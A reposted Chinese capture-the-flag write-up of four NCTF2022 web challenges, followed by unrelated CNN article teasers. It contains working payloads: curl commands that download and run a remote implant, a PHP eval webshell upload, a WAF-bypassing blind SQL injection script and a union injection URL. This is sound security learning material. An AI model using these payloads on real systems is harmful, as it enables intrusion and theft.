NCTF2022 Web Writeup

article/2025/9/15 9:34:16

1.calc

题目地址:http://116.205.139.166:8001/

右键 /source 源码

@app.route("/calc",methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0}{1}{2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"

flask 报错可以看到 waf 的过滤规则

http://162.14.110.241:8050/calc?num[]=

def waf(s):blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag= Falseprint(no)breakreturn flag

试了一圈发现可以对 num 操作一下, 用 %0a 分隔不同命令, %09 代替空格

然后注意需要使语句正常执行 eval(num), 不然就不会跳到 os.system(log) 这句, 解决方法是用单引号把命令包起来

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

因为过滤了反引号不好外带回显, 索性直接用 curl 下载 payload 配合 msf 上线

/calc?num=%0a'curl'%09'http://x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod'%09'777'%09'/tmp/testapp'%0a
/calc?num=%0a'/tmp/testapp'%0a

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031408772.png

2.ez_php

题目地址:http://81.70.155.160/

ayacms github 地址

https://github.com/loadream/AyaCMS

issues 里能看到很多漏洞, 但是全都要登录后台/前台

后台 admin.php 试了弱口令无果, 前台也无法注册…

于是直接下载源码进行代码审计, 然后看了大半天

源码很多地方开头都有 defined('IN_AYA') or exit('Access Denied');, 即不能直接访问, 必须要通过其它已经定义 IN_AYA 常量的 php 文件来 include 或 require 才行

这样思路就转换为寻找存在文件包含的漏洞点

找了好久在 /aya/admin.inc.php 找到一处

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031946153.png

其中的 get_cookie 获取带有 aya_ 前缀的 cookie 值, decrypt 也能找到对应 encrypt 函数的源码

加密过程中的 AYA_KEY 就是默认值 aaa

有了文件包含之后思路就广了许多, 然后结合一下已知漏洞

https://github.com/loadream/AyaCMS/issues/3

payload

<?php
function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){$hash='';$max=strlen($chars)-1;for($i=0;$i<$length;$i++){$hash.=$chars[mt_rand(0,$max)];}return $hash;
}
function kecrypt($txt,$key){$key=md5($key);$len=strlen($txt);$ctr=0;$str='';for($i=0;$i<$len;$i++){$ctr=$ctr==32?0:$ctr;$str.=$txt[$i]^$key[$ctr++];}return $str;
}
function encrypt($txt,$key=''){$key or $key='aaa';$rnd=random(32);$len=strlen($txt);$ctr=0;$str='';for($i=0;$i<$len;$i++){$ctr=$ctr==32?0:$ctr;$str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);}return str_replace('=','',base64_encode(kecrypt($str,$key)));
}
echo encrypt('../module/admin/fst_upload');

http 包

POST /aya/admin.inc.php HTTP/1.1
Host: 81.70.155.160
Content-Length: 244
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhsd4wQ8UBmzCnD1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: aya_admin_lang=QWwPIAJ9EitZZEEoQWtYOFA0DCUAMFttV2ANPBUlRmFNKBRmFTEQG1ZxTDFaaVEyQyMWdA
Connection: close
------WebKitFormBoundarykhsd4wQ8UBmzCnD1
Content-Disposition: form-data; name="upfile"; filename="xzxz123123123.php"
Content-Type: application/octet-stream
<?php eval($_REQUEST[1]);phpinfo();?>
------WebKitFormBoundarykhsd4wQ8UBmzCnD1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031953539.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031954835.png

3.ezbypass

hint 提示 waf 是 modsecurity

题目地址:http://162.14.110.241:8099/sql.php   http://121.37.11.207:8099/sql.php

网上找到一篇参考文章

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

剩下就是照着它的 payload 用脚本直接梭, 因为题目提示 Can you find my password?, 所以猜 password 列的内容就行

import requests
import time
flag = ''
i = 1
while True:min = 32max = 127while min < max:time.sleep(0.08)mid = (min + max) // 2print(chr(mid))payload = 'if(ascii 1.e(substring(1.e(select password from users.info),{},1))>{},1,0)'.format(i, mid)url = 'http://162.14.110.241:8099/sql.php?id={}'.format(payload)res = requests.get(url)if 'letian' in res.text:min = mid + 1else:max = midflag += chr(min)i += 1print('found', flag)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212032123517.png

4.ez_sql

题目地址:http://81.70.155.160:3000/     https://nctf.h4ck.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

题目描述给了源码

app.js

import { Application, Router, helpers } from "https://deno.land/x/oak/mod.ts";
import Flight from './db.js';
const app = new Application();
const router = new Router();
router.get('/', async(ctx) => {ctx.response.body = 'check your flight `/flight?id=`';
});
router.get('/flight', async(ctx) => {const id = helpers.getQuery(ctx, { mergeParams: true });const info = await Flight.select({departure: 'departure', destination: 'destination'}).where(id).all();ctx.response.body = info;
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen({ port: 3000, hostname: '0.0.0.0' });

db.js

import { DataTypes, Database, Model, SQLite3Connector} from "https://deno.land/x/denodb@v1.0.40/mod.ts";
const connector = new SQLite3Connector({filepath: '/tmp/flight.db'
});
const db = new Database(connector);
class Flight extends Model {static table = 'flight';static fields = {id: { primaryKey: true, autoIncrement: true },departure: DataTypes.STRING,destination: DataTypes.STRING,};
}
class Flag extends Model {static table = 'flag';static fields = {flag: DataTypes.STRING,};
}
db.link([Flight, Flag]);
await db.sync({ drop: true });
await Flight.create({departure: 'Paris',destination: 'Tokyo',
});
await Flight.create({departure: 'Las Vegas',destination: 'Washington',
});
await Flight.create({departure: 'London',destination: 'San Francisco',
});
await Flag.create({flag: Deno.env.get('flag'),
});
export default Flight

跟 Hack.lu 2022 foodAPI 几乎一模一样, 参考文章如下

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98

https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436

唯一的区别是原题 id 用的是 restful api 的形式, 而这道题是 get 传参, 不能直接照抄 exp

不过稍微看一下文章中分析的原理就能知道思路是利用参数 ? 来拼接 sql 语句, 所以仿照原来的 payload 将 ? 作为另一个 get query 传递进去

http://81.70.155.160:3000/flight?id=1&?=a` and 0 union select flag,2 from flag;
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212041449665.png

附件下载:https://github.com/X1cT34m/NCTF2022
转载原文:  https://exp10it.cn/2022/12/nctf-2022-web-writeup/#calc

http://chatgpt.dhexx.cn/article/J68kySmy.shtml

相关文章

NCTF web总结与复现

前言 打完NCTF休息了一下&#xff0c;总体感觉还行&#xff0c;学到了很多。 calc 这一题也卡了我很久&#xff0c;因为复现过DASCTF三月赛&#xff0c;一直在想着有没有可以替代反引号或绕过的方法&#xff0c;搞了好久都没出&#xff0c;在学长的提示下学到了一个方法&…

CNN网络设计

系列文章目录 文章目录 系列文章目录前言一、CNN基本概念二、卷积计算类型其他算子常用激活函数经典轻量化模型 前言 一图胜千言 一、CNN基本概念 感受野指的是卷积神经网络每一层输出的特征图(feature map)上每个像素点映射回输入图像上的区域大小&#xff0c;神经元感受野…

CNN基本结构和经典网络

卷积网络的基本结构 数据输入层/ Input layer 3种常见的图像数据处理方式&#xff1a;一般CNN只用去均值 卷积计算层/ CONV layer 基本概念&#xff1a; depth:与神经元&#xff08;filter&#xff09;个数相等stribezero-padding 卷积宽长深度计算&#xff1a; 激励层(R…

CNN概述

CNN 卷积神经网络简介 特点 将大数据量的图片降维成小数据量有效保留图片特征 应用领域 人脸识别、自动驾驶、无人安防 CNN解决的问题 图像的数据量太大&#xff0c;导致成本很高&#xff0c;效率很低图像在数字化的过程中容易丢失特征&#xff08;其实就对应了两个特点&…

常见CNN网络结构的详解和代码实现

1. AlexNet 论文地址:ImageNet Classification with Deep Convolutional Neural Networks 2012年提出的AlexNet的网络结构为&#xff1a; 结构说明如下&#xff1a; 1.1 ReLu(Rectified Linear Units)激活函数&#xff1a; Relu函数为 r e l u ( x ) m a x { 0 , x } { …

图像分类网络-经典CNN网络简介

在CNN网络结构的演化上&#xff0c;出现过许多优秀的CNN网络&#xff0c;CNN的经典结构始于1998年的LeNet&#xff0c;成于2012年历史性的AlexNet&#xff0c;从此大盛于图像相关领域&#xff0c;主要包括&#xff1a; 发展历史&#xff1a;Lenet --> Alexnet --> ZFnet …

使用PyTorch搭建CNN神经网络

使用pytorch搭建CNN神经网络 卷积运算的基本原理单层卷积运算valid convolutionsame convolution CNN的基本结构数据输入层卷积层池化层全连接层 数据导入的实现构建基础的CNN网络网络的设计损失函数和优化器训练函数和测试函数实现CNN网络的训练和测试 Googlenet的实现网络框架…

CNN(卷积神经网络)概述

过去几年&#xff0c;深度学习&#xff08;Deep learning&#xff09;在解决诸如视觉识别(visual recognition)、语音识别(speech recognition)和自然语言处理(natural language processing)等很多问题方面都表现出非常好的性能。在不同类型的深度神经网络当中&#xff0c;卷积…

CNN卷积网络

CNN卷积神经网络 1.与全连接神经网络的区别 1).总有至少一个卷积层 2).卷积层级之间的神经元是局部连接和权值共享(整张图片在使用同一个卷积核内的参数&#xff0c;卷积核里的值叫做权重&#xff0c;不会因为图像内位置的不同而改变卷积核内的权系数&#xff09;&#xff0…

CNN(卷积神经网络)

一、卷积神经网络 1、CNN的基本知识 1、卷积神经网络(Convolutional Neural Networks&#xff0c;CNN)的作用&#xff1a;1.cnn跟全连接的区别&#xff1a;原来一个输出神经元的计算是跟所有输入层的神经元相连&#xff0c;现在只是局部输入层的神经元相连&#xff1b;同一所…

CNN卷积神经网络

目录 一、BP神经网络回顾 二、CNN卷积神经网络 1、CNN的主要概述 2、CNN的一般结构 三、CNN卷积神经网络的应用 四、常见的CNN卷积神经网络 一、BP神经网络回顾 人工全连接神经网络 &#xff08;1&#xff09;每相邻两层之间的每个神经元之间都是有边相连的 &#xff0…

深度学习----CNN几种常见网络结构及区别

一、 CNN结构演化历史的图二、 AlexNet网络 2.1 ReLU 非线性激活函数 多GPU训练(Training on Multiple GPUs)局部响应归一化(Local Response Normalization)重叠池化(Overlapping Pooling) 2.2 降低过拟合( Reducing Overfitting) 数据增强(Data Augmentation)Dropout 三、VG…

神经网络--从0开始搭建全连接网络和CNN网络

前言&#xff1a; Hello大家好&#xff0c;我是Dream。 今天来学习一下如何从0开始搭建全连接网络和CNN网络&#xff0c;并通过实验简单对比一下两种神经网络的不同之处&#xff0c;本文目录较长&#xff0c;可以根据需要自动选取要看的内容~ 本文目录&#xff1a; 一、搭建4层…

经典CNN网络:Resnet18网络结构输入和输出

前言 Q1:每当看到一个新的网络&#xff0c;总会思考&#xff0c;这个网络提出来有什么意义&#xff0c;解决了什么问题&#xff1f; Resnet18中的resnet就时网络结构呗&#xff0c;18应该是权重层的数量(参照VGG16的命名方法&#xff0c;应该时这样理解)。 Q2:为什么会出现Resn…

深度学习——CNN卷积神经网络

基本概念 概述 卷积神经网络&#xff08;Convolutional Neural Network&#xff0c;CNN&#xff09;是一种深度学习中常用于处理具有网格结构数据的神经网络模型。它在计算机视觉领域广泛应用于图像分类、目标检测、图像生成等任务。 核心思想 CNN 的核心思想是通过利用局部…

通俗易懂:图解10大CNN网络架构

作者 | Raimi Karim 译者 | Major 编辑 | 赵雪 出品 | AI科技大本营&#xff08;ID: rgznai100&#xff09; 导语&#xff1a;近年来&#xff0c;许多卷积神经网络&#xff08; CNN &#xff09;跃入眼帘&#xff0c;而随着其越来越深的深度&#xff0c;我们难以对某个 CNN 的结…

详解CNN卷积神经网络

详解卷积神经网络(CNN) 详解卷积神经网络CNN概揽Layers used to build ConvNets 卷积层Convolutional layer池化层Pooling Layer全连接层Fully-connected layer 卷积神经网络架构 Layer PatternsLayer Sizing PatternsCase Studies 参考 卷积神经网络&#xff08;Convolutional…

CNN 卷积神经网络

文章目录 9、CNN 卷积神经网络9.1 Revision9.2 Introduction9.3 Convolution9.3.1 Channel9.3.2 Layer9.3.3 Padding9.3.4 Stride 9.4 Max Pooling9.5 A Simple CNN9.5.1 GPU9.5.2 Code 19.5.3 Exercise9.5.4 Code 2 9.6 GoogLeNet9.6.1 Inception Module9.6.2 1 x 1 convoluti…

简要笔记-CNN网络

以下是CNN网络的简要介绍。 1 CNN的发展简述 CNN可以有效降低传统神经网络(全连接)的复杂性&#xff0c;常见的网络结构有LeNet、AlexNet、ZFNet、VGGNet、GoogleNet、ResNet等。 1.1 CNN常见的网络结构 &#xff08;1&#xff09;LeNet&#xff08;1998年 &#xff09;: 首个…

CNN神经网络

一、基础概念 1.1 卷积(filter) 、CNN使用卷积的思想和意义 改变全连接为局部连接&#xff0c;这是由于图片的特殊性造成的(图像的一部分的统计特性与其他部分是一样的),通过局部连接和参数共享&#xff0c;大范围的减少参数值。可以通过使用多个filter来提取图像的不同特征(…